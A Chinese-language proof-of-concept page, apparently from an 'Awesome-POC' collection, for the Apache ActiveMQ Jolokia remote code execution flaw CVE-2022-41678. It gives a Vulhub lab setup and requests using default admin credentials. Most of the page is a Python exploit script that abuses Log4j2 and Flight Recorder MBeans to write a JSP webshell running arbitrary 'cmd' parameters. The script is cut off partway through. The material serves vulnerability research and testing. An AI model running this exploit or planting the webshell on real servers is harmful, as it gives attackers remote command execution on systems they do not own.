Awesome-POC/中间件漏洞/Apache ActiveMQ Jolokia 后台远程代码执行漏洞 CVE-2022-41678.md
2024-11-06 14:10:36 +08:00

1174 lines
42 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache ActiveMQ Jolokia 后台远程代码执行漏洞 CVE-2022-41678
## 漏洞描述
Apache ActiveMQ 是美国阿帕奇Apache软件基金会所研发的一套开源的消息中间件它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 在5.16.5, 5.17.3版本及以前后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。
参考链接:
- [https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt](https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt)
- [https://l3yx.github.io/2023/11/29/Apache-ActiveMQ-Jolokia-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2022-41678-%E5%88%86%E6%9E%90/](https://l3yx.github.io/2023/11/29/Apache-ActiveMQ-Jolokia-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2022-41678-%E5%88%86%E6%9E%90/)
## 漏洞影响
```
5.16.0<=Apache ActiveMQ<5.16.6
5.17.0<=Apache ActiveMQ<5.17.4
```
## 环境搭建
Vulhub执行如下命令启动一个Apache ActiveMQ 5.17.3服务器:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8161/`后输入账号密码`admin``admin`,即可成功登录后台。
![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204091317927.png)
## 漏洞复现
首先,访问`/api/jolokia/list`这个API可以查看当前服务器里所有的MBeans请求头需要添加 `Origin`,否则返回 403 Forbidden
```
GET /api/jolokia/list HTTP/1.1
Host: your-ip:8161
Cache-Control: no-cache
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Origin: http://your-ip:8161
Connection: close
```
![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204091934982.png)
这其中有两个可以被用来执行任意代码。
### 方法 1
第一个方法是使用`org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean`这是由Log4j2提供的一个MBean。
攻击者使用这个MBean中的`setConfigText`操作可以更改Log4j的配置进而将日志文件写入任意目录中。
使用[poc](https://github.com/vulhub/vulhub/blob/5d96555562f069319116531b38e09dd9ce6587e9/activemq/CVE-2022-41678/poc.py)脚本来复现完整的过程:
```
python poc.py -u admin -p admin http://your-ip:8161
```
![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204092600671.png)
Webshell被写入在`/admin/shell.jsp`文件中。
这个方法受到ActiveMQ版本的限制因为Log4j2是在5.17.0中才引入Apache ActiveMQ。
### 方法 2
第二个可利用的Mbean是`jdk.management.jfr.FlightRecorderMXBean`
FlightRecorder是在OpenJDK 11中引入的特性被用于记录Java虚拟机的运行事件。利用这个功能攻击者可以将事件日志写入任意文件。
使用[poc](https://github.com/vulhub/vulhub/blob/5d96555562f069319116531b38e09dd9ce6587e9/activemq/CVE-2022-41678/poc.py)脚本来复现完整的过程(使用`--exploit`参数指定使用的方法):
```
python poc.py -u admin -p admin --exploit jfr http://localhost:8161
```
![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204093153104.png)
Webshell被写入在`/admin/shelljfr.jsp`文件中:
![](images/Apache%20ActiveMQ%20Jolokia%20后台远程代码执行漏洞%20CVE-2022-41678/image-20231204093118072.png)
## 漏洞POC
poc.py
```python
#!/usr/bin/env python3
import sys
import logging
import requests
import argparse
import time
from urllib.parse import urljoin
from html import escape
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); '
'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')
original_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%5p | %m%n"/>
</Console>
<RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log"
filePattern="${sys:activemq.data}/activemq.log.%i">
<PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
<RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
<PatternLayout pattern="%-5p | %m | %t%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console"/>
<AppenderRef ref="RollingFile"/>
</Root>
<Logger name="org.apache.activemq.spring" level="WARN"/>
<Logger name="org.apache.activemq.web.handler" level="WARN"/>
<Logger name="org.springframework" level="WARN"/>
<Logger name="org.apache.xbean" level="WARN"/>
<Logger name="org.eclipse.jetty" level="WARN"/>
<Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
<AppenderRef ref="AuditLog"/>
</Logger>
<!-- Uncomment and modify as needed for ActiveMQ logger
<Logger name="org.apache.activemq" level="DEBUG"/>
-->
</Loggers>
</Configuration>
'''
evil_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%5p | %m%n"/>
</Console>
<RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/shell.jsp"
filePattern="${sys:activemq.data}/../webapps/admin/shell.jsp.%i">
<PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
<RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
<PatternLayout pattern="%-5p | %m | %t%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console"/>
<AppenderRef ref="RollingFile"/>
</Root>
<Logger name="org.apache.activemq.spring" level="WARN"/>
<Logger name="org.apache.activemq.web.handler" level="WARN"/>
<Logger name="org.springframework" level="WARN"/>
<Logger name="org.apache.xbean" level="WARN"/>
<Logger name="org.eclipse.jetty" level="DEBUG"/>
<Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
<AppenderRef ref="AuditLog"/>
</Logger>
<!-- Uncomment and modify as needed for ActiveMQ logger
<Logger name="org.apache.activemq" level="DEBUG"/>
-->
</Loggers>
</Configuration>
'''
record_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<!--
Recommended way to edit .jfc files is to use Java Mission Control,
see Window -> Flight Recorder Template Manager.
-->
<configuration version="2.0" label="Continuous" description="Low overhead configuration safe for continuous use in production environments, typically less than 1 % overhead." provider="Oracle">
<event name="jdk.ThreadAllocationStatistics">
<setting name="enabled">true</setting>
<setting name="period"><![CDATA[||| '''+webshell+r''' |||]]></setting>
</event>
<event name="jdk.ClassLoadingStatistics">
<setting name="enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>
<event name="jdk.ClassLoaderStatistics">
<setting name="enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.JavaThreadStatistics">
<setting name="enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>
<event name="jdk.ThreadStart">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.ThreadEnd">
<setting name="enabled">true</setting>
</event>
<event name="jdk.ThreadSleep">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>
<event name="jdk.ThreadPark">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>
<event name="jdk.JavaMonitorEnter">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>
<event name="jdk.JavaMonitorWait">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>
<event name="jdk.JavaMonitorInflate">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>
<event name="jdk.BiasedLockRevocation">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.BiasedLockSelfRevocation">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.BiasedLockClassRevocation">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.ReservedStackActivation">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.ClassLoad">
<setting name="enabled" control="class-loading-enabled">false</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.ClassDefine">
<setting name="enabled" control="class-loading-enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.ClassUnload">
<setting name="enabled" control="class-loading-enabled">false</setting>
</event>
<event name="jdk.JVMInformation">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.InitialSystemProperty">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.ExecutionSample">
<setting name="enabled" control="method-sampling-enabled">true</setting>
<setting name="period" control="method-sampling-java-interval">20 ms</setting>
</event>
<event name="jdk.NativeMethodSample">
<setting name="enabled" control="method-sampling-enabled">true</setting>
<setting name="period" control="method-sampling-native-interval">20 ms</setting>
</event>
<event name="jdk.SafepointBegin">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.SafepointStateSynchronization">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.SafepointWaitBlocked">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.SafepointCleanup">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.SafepointCleanupTask">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.SafepointEnd">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.ExecuteVMOperation">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.Shutdown">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.ThreadDump">
<setting name="enabled" control="thread-dump-enabled">true</setting>
<setting name="period" control="thread-dump-interval">everyChunk</setting>
</event>
<event name="jdk.IntFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.UnsignedIntFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.LongFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.UnsignedLongFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.DoubleFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.BooleanFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.StringFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.IntFlagChanged">
<setting name="enabled">true</setting>
</event>
<event name="jdk.UnsignedIntFlagChanged">
<setting name="enabled">true</setting>
</event>
<event name="jdk.LongFlagChanged">
<setting name="enabled">true</setting>
</event>
<event name="jdk.UnsignedLongFlagChanged">
<setting name="enabled">true</setting>
</event>
<event name="jdk.DoubleFlagChanged">
<setting name="enabled">true</setting>
</event>
<event name="jdk.BooleanFlagChanged">
<setting name="enabled">true</setting>
</event>
<event name="jdk.StringFlagChanged">
<setting name="enabled">true</setting>
</event>
<event name="jdk.ObjectCount">
<setting name="enabled" control="memory-profiling-enabled-all">false</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.GCConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.GCHeapConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.YoungGenerationConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.GCTLABConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.GCSurvivorConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.ObjectCountAfterGC">
<setting name="enabled">false</setting>
</event>
<event name="jdk.GCHeapSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.PSHeapSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.G1HeapSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.MetaspaceSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.MetaspaceGCThreshold">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.MetaspaceAllocationFailure">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.MetaspaceOOM">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.MetaspaceChunkFreeListSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.GarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.ParallelOldGarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.YoungGarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.OldGarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.G1GarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.GCPhasePause">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.GCPhasePauseLevel1">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.GCPhasePauseLevel2">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.GCPhasePauseLevel3">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.GCPhasePauseLevel4">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.GCPhaseConcurrent">
<setting name="enabled" control="gc-enabled-all">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.GCReferenceStatistics">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.PromotionFailed">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.EvacuationFailed">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.EvacuationInformation">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.G1MMU">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.G1EvacuationYoungStatistics">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.G1EvacuationOldStatistics">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.G1BasicIHOP">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.G1AdaptiveIHOP">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.PromoteObjectInNewPLAB">
<setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
</event>
<event name="jdk.PromoteObjectOutsidePLAB">
<setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
</event>
<event name="jdk.ConcurrentModeFailure">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.AllocationRequiringGC">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.TenuringDistribution">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>
<event name="jdk.G1HeapRegionInformation">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.G1HeapRegionTypeChange">
<setting name="enabled" control="gc-enabled-all">false</setting>
</event>
<event name="jdk.ShenandoahHeapRegionInformation">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.ShenandoahHeapRegionStateChange">
<setting name="enabled" control="gc-enabled-all">false</setting>
</event>
<event name="jdk.OldObjectSample">
<setting name="enabled" control="memory-leak-detection-enabled">true</setting>
<setting name="stackTrace" control="memory-leak-detection-stack-trace">false</setting>
<setting name="cutoff" control="memory-leak-detection-cutoff">0 ns</setting>
</event>
<event name="jdk.CompilerConfiguration">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.CompilerStatistics">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>
<event name="jdk.Compilation">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="threshold" control="compiler-compilation-threshold">1000 ms</setting>
</event>
<event name="jdk.CompilerPhase">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="threshold" control="compiler-phase-threshold">60 s</setting>
</event>
<event name="jdk.CompilationFailure">
<setting name="enabled" control="compiler-enabled-failure">false</setting>
</event>
<event name="jdk.CompilerInlining">
<setting name="enabled" control="compiler-enabled-failure">false</setting>
</event>
<event name="jdk.CodeSweeperConfiguration">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.CodeSweeperStatistics">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.SweepCodeCache">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="threshold" control="compiler-sweeper-threshold">100 ms</setting>
</event>
<event name="jdk.CodeCacheConfiguration">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.CodeCacheStatistics">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.CodeCacheFull">
<setting name="enabled" control="compiler-enabled">true</setting>
</event>
<event name="jdk.OSInformation">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.VirtualizationInformation">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.CPUInformation">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.ThreadContextSwitchRate">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">10 s</setting>
</event>
<event name="jdk.CPULoad">
<setting name="enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>
<event name="jdk.ThreadCPULoad">
<setting name="enabled">true</setting>
<setting name="period">10 s</setting>
</event>
<event name="jdk.CPUTimeStampCounter">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.SystemProcess">
<setting name="enabled">true</setting>
<setting name="period">endChunk</setting>
</event>
<event name="jdk.NetworkUtilization">
<setting name="enabled">true</setting>
<setting name="period">5 s</setting>
</event>
<event name="jdk.InitialEnvironmentVariable">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>
<event name="jdk.PhysicalMemory">
<setting name="enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.ObjectAllocationInNewTLAB">
<setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.ObjectAllocationOutsideTLAB">
<setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.NativeLibrary">
<setting name="enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>
<event name="jdk.ModuleRequire">
<setting name="enabled">true</setting>
<setting name="period">endChunk</setting>
</event>
<event name="jdk.ModuleExport">
<setting name="enabled">true</setting>
<setting name="period">endChunk</setting>
</event>
<event name="jdk.FileForce">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="file-io-threshold">20 ms</setting>
</event>
<event name="jdk.FileRead">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="file-io-threshold">20 ms</setting>
</event>
<event name="jdk.FileWrite">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="file-io-threshold">20 ms</setting>
</event>
<event name="jdk.SocketRead">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="socket-io-threshold">20 ms</setting>
</event>
<event name="jdk.SocketWrite">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="socket-io-threshold">20 ms</setting>
</event>
<event name="jdk.SecurityPropertyModification">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.TLSHandshake">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.X509Validation">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.X509Certificate">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.JavaExceptionThrow">
<setting name="enabled" control="enable-exceptions">false</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.JavaErrorThrow">
<setting name="enabled" control="enable-errors">true</setting>
<setting name="stackTrace">true</setting>
</event>
<event name="jdk.ExceptionStatistics">
<setting name="enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>
<event name="jdk.ActiveRecording">
<setting name="enabled">true</setting>
</event>
<event name="jdk.ActiveSetting">
<setting name="enabled">true</setting>
</event>
<event name="jdk.DataLoss">
<setting name="enabled">true</setting>
</event>
<event name="jdk.DumpReason">
<setting name="enabled">true</setting>
</event>
<event name="jdk.ZPageAllocation">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.ZThreadPhase">
<setting name="enabled">true</setting>
<setting name="threshold">0 ms</setting>
</event>
<event name="jdk.ZStatisticsCounter">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>
<event name="jdk.ZStatisticsSampler">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>
<!--
Contents of the control element is not read by the JVM, it's used
by Java Mission Control to change settings that carry the control attribute.
-->
<control>
<selection name="gc-level" default="detailed" label="Garbage Collector">
<option label="Off" name="off">off</option>
<option label="Normal" name="detailed">normal</option>
<option label="All" name="all">all</option>
</selection>
<condition name="gc-enabled-normal" true="true" false="false">
<or>
<test name="gc-level" operator="equal" value="normal"/>
<test name="gc-level" operator="equal" value="all"/>
</or>
</condition>
<condition name="gc-enabled-all" true="true" false="false">
<test name="gc-level" operator="equal" value="all"/>
</condition>
<selection name="memory-profiling" default="off" label="Memory Profiling">
<option label="Off" name="off">off</option>
<option label="Object Allocation and Promotion" name="medium">medium</option>
<option label="All, including Heap Statistics (May cause long full GCs)" name="all">all</option>
</selection>
<condition name="memory-profiling-enabled-medium" true="true" false="false">
<or>
<test name="memory-profiling" operator="equal" value="medium"/>
<test name="memory-profiling" operator="equal" value="all"/>
</or>
</condition>
<condition name="memory-profiling-enabled-all" true="true" false="false">
<test name="memory-profiling" operator="equal" value="all"/>
</condition>
<selection name="compiler-level" default="normal" label="Compiler">
<option label="Off" name="off">off</option>
<option label="Normal" name="normal">normal</option>
<option label="Detailed" name="detailed">detailed</option>
<option label="All" name="all">all</option>
</selection>
<condition name="compiler-enabled" true="false" false="true">
<test name="compiler-level" operator="equal" value="off"/>
</condition>
<condition name="compiler-enabled-failure" true="true" false="false">
<or>
<test name="compiler-level" operator="equal" value="detailed"/>
<test name="compiler-level" operator="equal" value="all"/>
</or>
</condition>
<condition name="compiler-sweeper-threshold" true="0 ms" false="100 ms">
<test name="compiler-level" operator="equal" value="all"/>
</condition>
<condition name="compiler-compilation-threshold" true="1000 ms">
<test name="compiler-level" operator="equal" value="normal"/>
</condition>
<condition name="compiler-compilation-threshold" true="100 ms">
<test name="compiler-level" operator="equal" value="detailed"/>
</condition>
<condition name="compiler-compilation-threshold" true="0 ms">
<test name="compiler-level" operator="equal" value="all"/>
</condition>
<condition name="compiler-phase-threshold" true="60 s">
<test name="compiler-level" operator="equal" value="normal"/>
</condition>
<condition name="compiler-phase-threshold" true="10 s">
<test name="compiler-level" operator="equal" value="detailed"/>
</condition>
<condition name="compiler-phase-threshold" true="0 s">
<test name="compiler-level" operator="equal" value="all"/>
</condition>
<selection name="method-sampling-interval" default="normal" label="Method Sampling">
<option label="Off" name="off">off</option>
<option label="Normal" name="normal">normal</option>
<option label="High" name="high">high</option>
<option label="Ludicrous (High Overhead)" name="ludicrous">ludicrous</option>
</selection>
<condition name="method-sampling-java-interval" true="999 d">
<test name="method-sampling-interval" operator="equal" value="off"/>
</condition>
<condition name="method-sampling-java-interval" true="20 ms">
<test name="method-sampling-interval" operator="equal" value="normal"/>
</condition>
<condition name="method-sampling-java-interval" true="10 ms">
<test name="method-sampling-interval" operator="equal" value="high"/>
</condition>
<condition name="method-sampling-java-interval" true="1 ms">
<test name="method-sampling-interval" operator="equal" value="ludicrous"/>
</condition>
<condition name="method-sampling-native-interval" true="999 d">
<test name="method-sampling-interval" operator="equal" value="off"/>
</condition>
<condition name="method-sampling-native-interval" true="20 ms">
<or>
<test name="method-sampling-interval" operator="equal" value="normal"/>
<test name="method-sampling-interval" operator="equal" value="high"/>
<test name="method-sampling-interval" operator="equal" value="ludicrous"/>
</or>
</condition>
<condition name="method-sampling-enabled" true="false" false="true">
<test name="method-sampling-interval" operator="equal" value="off"/>
</condition>
<selection name="thread-dump-interval" default="normal" label="Thread Dump">
<option label="Off" name="off">999 d</option>
<option label="At least Once" name="normal">everyChunk</option>
<option label="Every 60 s" name="everyMinute">60 s</option>
<option label="Every 10 s" name="everyTenSecond">10 s</option>
<option label="Every 1 s" name="everySecond">1 s</option>
</selection>
<condition name="thread-dump-enabled" true="false" false="true">
<test name="thread-dump-interval" operator="equal" value="999 d"/>
</condition>
<selection name="exception-level" default="errors" label="Exceptions">
<option label="Off" name="off">off</option>
<option label="Errors Only" name="errors">errors</option>
<option label="All Exceptions, including Errors" name="all">all</option>
</selection>
<condition name="enable-errors" true="true" false="false">
<or>
<test name="exception-level" operator="equal" value="errors"/>
<test name="exception-level" operator="equal" value="all"/>
</or>
</condition>
<condition name="enable-exceptions" true="true" false="false">
<test name="exception-level" operator="equal" value="all"/>
</condition>
<selection name="memory-leak-detection" default="minimal" label="Memory Leak Detection">
<option label="Off" name="off">off</option>
<option label="Object Types" name="minimal">minimal</option>
<option label="Object Types + Allocation Stack Traces" name="medium">medium</option>
<option label="Object Types + Allocation Stack Traces + Path to GC Root" name="full">full</option>
</selection>
<condition name="memory-leak-detection-enabled" true="false" false="true">
<test name="memory-leak-detection" operator="equal" value="off"/>
</condition>
<condition name="memory-leak-detection-stack-trace" true="true" false="false">
<or>
<test name="memory-leak-detection" operator="equal" value="medium"/>
<test name="memory-leak-detection" operator="equal" value="full"/>
</or>
</condition>
<condition name="memory-leak-detection-cutoff" true="1 h" false="0 ns">
<test name="memory-leak-detection" operator="equal" value="full"/>
</condition>
<text name="synchronization-threshold" label="Synchronization Threshold" contentType="timespan" minimum="0 s">20 ms</text>
<text name="file-io-threshold" label="File I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>
<text name="socket-io-threshold" label="Socket I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>
<flag name="class-loading-enabled" label="Class Loading">false</flag>
</control>
</configuration>
'''
class Application(object):
def __init__(self, url, username, password):
self.url = url
self.session = requests.session()
self.session.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/117.0.5938.132 Safari/537.36',
'Origin': url,
}
self.session.auth = (username, password)
def request(self, method: str, path: str, *args, **kwargs):
data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json()
